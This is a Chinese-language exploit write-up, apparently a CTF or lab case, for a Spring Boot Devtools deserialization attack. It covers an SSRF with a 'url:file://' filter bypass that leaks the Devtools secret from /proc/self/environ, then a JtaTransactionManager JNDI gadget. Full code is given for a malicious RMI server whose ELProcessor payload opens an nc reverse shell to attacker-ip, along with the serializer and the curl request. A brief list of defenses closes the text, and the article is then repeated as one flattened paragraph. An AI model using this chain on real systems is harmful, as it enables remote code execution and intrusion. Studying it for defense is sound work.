记一次Spring Devtools反序列化利用
字数 1372 2025-08-20 18:17:53

Spring Devtools 反序列化漏洞分析与利用

0x01 漏洞背景

Spring Boot Devtools 是 Spring Boot 提供的开发者工具模块,主要用于提高开发效率,支持热部署等功能。在特定配置下,Devtools 的远程调试功能存在反序列化漏洞,可能导致远程代码执行。

0x02 漏洞环境分析

环境特征

  • Spring Boot 应用启用了 Devtools 模块
  • 配置文件中设置了 spring.devtools.remote.secret 属性
  • JDK 版本为 8u265(高版本)
  • 依赖中包含 spring-boot-devtoolsspring-tx

关键依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-devtools</artifactId>
    <optional>true</optional>
</dependency>

0x03 前置漏洞:SSRF 到任意文件读取

漏洞代码分析

控制器中存在一个 SSRF 端点:

@RequestMapping(value = "/pathneverguess", method = RequestMethod.GET)
@ResponseBody
public String ping(@RequestParam String url) {
    return PingUtil.ping(url);
}

PingUtil 类中的关键方法:

public static String ping(String urlString) {
    String ret = "";
    OutputStream os = new ByteArrayOutputStream();
    if (validate(cleanUrl(urlString))) {
        try {
            URL url = new URL(urlString);
            URLConnection urlConnection = url.openConnection();
            // ... 读取URL内容并返回 ...
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    // ...
}

协议过滤绕过

validate 方法使用正则表达式过滤危险协议:

String blacklist = "^[file|netdoc|jar|ftp|mailto]";
Pattern pattern = Pattern.compile(blacklist, Pattern.CASE_INSENSITIVE);

绕过技巧
利用 URL 类的处理特性,在协议前添加 url: 前缀可以绕过过滤:

url:file:///etc/passwd

信息收集

通过文件读取获取关键信息:

  • /proc/self/environ 泄露环境变量(包括 SECRET)
  • 发现 spring.devtools.remote.secret=${SECRET} 配置

0x04 Devtools 反序列化漏洞

漏洞原理

Devtools 的远程调试功能提供了 HTTP 接口处理序列化数据:

public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException {
    try {
        ObjectInputStream objectInputStream = new ObjectInputStream(request.getBody());
        ClassLoaderFiles files = (ClassLoaderFiles) objectInputStream.readObject();
        // ...
    }
    // ...
}

认证机制

请求需要包含正确的 X-AUTH-TOKEN 头,对应 spring.devtools.remote.secret 的值。默认值为 "mysecret",开发者常忘记修改。

0x05 高版本 JDK 下的利用

环境限制

  • JDK 8u265(高版本)
  • 常规反序列化链不可用
  • JNDI 注入受到限制

可用利用链

利用 spring-tx 中的 JtaTransactionManager 触发 JNDI 查找:

org.springframework.transaction.jta.JtaTransactionManager

利用步骤

  1. 搭建恶意 RMI 服务器
  2. 构造恶意序列化对象
  3. 通过 Devtools 接口发送恶意请求

0x06 完整利用过程

1. 搭建恶意 RMI 服务

public class rmi {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.hostname", "attacker-ip");
        Registry registry = LocateRegistry.createRegistry(1099);
        
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX", 
            "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
            ".newInstance().getEngineByName(\"JavaScript\")" +
            ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
            "(['/bin/bash','-c','rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker-ip 4444 >/tmp/f']).start()\")"));
            
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

2. 生成恶意序列化对象

public class poc implements Serializable {
    public static void main(String[] args) throws Exception {
        String jndiAddress = "rmi://attacker-ip:1099/Object";
        org.springframework.transaction.jta.JtaTransactionManager object = 
            new org.springframework.transaction.jta.JtaTransactionManager();
        object.setUserTransactionName(jndiAddress);
        
        ObjectOutputStream objectOutputStream = 
            new ObjectOutputStream(new FileOutputStream("expObject"));
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
    }
}

3. 发送恶意请求

使用 curl 发送恶意请求:

curl -X POST \
  -H "X-AUTH-TOKEN: found-secret" \
  --data-binary @expObject \
  http://target:8080/.~~spring-boot!~/restart

0x07 防御措施

  1. 禁用 Devtools 远程调试

    • 生产环境移除 spring-boot-devtools 依赖
    • 或设置 spring.devtools.remote.enabled=false
  2. 使用强密钥

    • 设置复杂且唯一的 spring.devtools.remote.secret
  3. 升级 JDK

    • 使用最新版本 JDK,修复已知反序列化漏洞
  4. 输入验证

    • 对所有用户输入进行严格验证和过滤
  5. 网络隔离

    • 限制 Devtools 端口的网络访问

0x08 总结

Spring Boot Devtools 的反序列化漏洞结合高版本 JDK 的绕过技术,可以形成完整的攻击链。攻击者需要先获取 Devtools 的 secret(默认或通过其他漏洞获取),然后构造特定的序列化对象触发 JNDI 注入,最终实现 RCE。

该漏洞的利用展示了从 SSRF 到文件读取,再到反序列化 RCE 的完整攻击路径,强调了纵深防御的重要性。

Spring Devtools 反序列化漏洞分析与利用 0x01 漏洞背景 Spring Boot Devtools 是 Spring Boot 提供的开发者工具模块,主要用于提高开发效率,支持热部署等功能。在特定配置下,Devtools 的远程调试功能存在反序列化漏洞,可能导致远程代码执行。 0x02 漏洞环境分析 环境特征 Spring Boot 应用启用了 Devtools 模块 配置文件中设置了 spring.devtools.remote.secret 属性 JDK 版本为 8u265(高版本) 依赖中包含 spring-boot-devtools 和 spring-tx 关键依赖 0x03 前置漏洞:SSRF 到任意文件读取 漏洞代码分析 控制器中存在一个 SSRF 端点: PingUtil 类中的关键方法: 协议过滤绕过 validate 方法使用正则表达式过滤危险协议: 绕过技巧 : 利用 URL 类的处理特性,在协议前添加 url: 前缀可以绕过过滤: 信息收集 通过文件读取获取关键信息: /proc/self/environ 泄露环境变量(包括 SECRET) 发现 spring.devtools.remote.secret=${SECRET} 配置 0x04 Devtools 反序列化漏洞 漏洞原理 Devtools 的远程调试功能提供了 HTTP 接口处理序列化数据: 认证机制 请求需要包含正确的 X-AUTH-TOKEN 头,对应 spring.devtools.remote.secret 的值。默认值为 "mysecret",开发者常忘记修改。 0x05 高版本 JDK 下的利用 环境限制 JDK 8u265(高版本) 常规反序列化链不可用 JNDI 注入受到限制 可用利用链 利用 spring-tx 中的 JtaTransactionManager 触发 JNDI 查找: 利用步骤 搭建恶意 RMI 服务器 构造恶意序列化对象 通过 Devtools 接口发送恶意请求 0x06 完整利用过程 1. 搭建恶意 RMI 服务 2. 生成恶意序列化对象 3. 发送恶意请求 使用 curl 发送恶意请求: 0x07 防御措施 禁用 Devtools 远程调试 : 生产环境移除 spring-boot-devtools 依赖 或设置 spring.devtools.remote.enabled=false 使用强密钥 : 设置复杂且唯一的 spring.devtools.remote.secret 升级 JDK : 使用最新版本 JDK,修复已知反序列化漏洞 输入验证 : 对所有用户输入进行严格验证和过滤 网络隔离 : 限制 Devtools 端口的网络访问 0x08 总结 Spring Boot Devtools 的反序列化漏洞结合高版本 JDK 的绕过技术,可以形成完整的攻击链。攻击者需要先获取 Devtools 的 secret(默认或通过其他漏洞获取),然后构造特定的序列化对象触发 JNDI 注入,最终实现 RCE。 该漏洞的利用展示了从 SSRF 到文件读取,再到反序列化 RCE 的完整攻击路径,强调了纵深防御的重要性。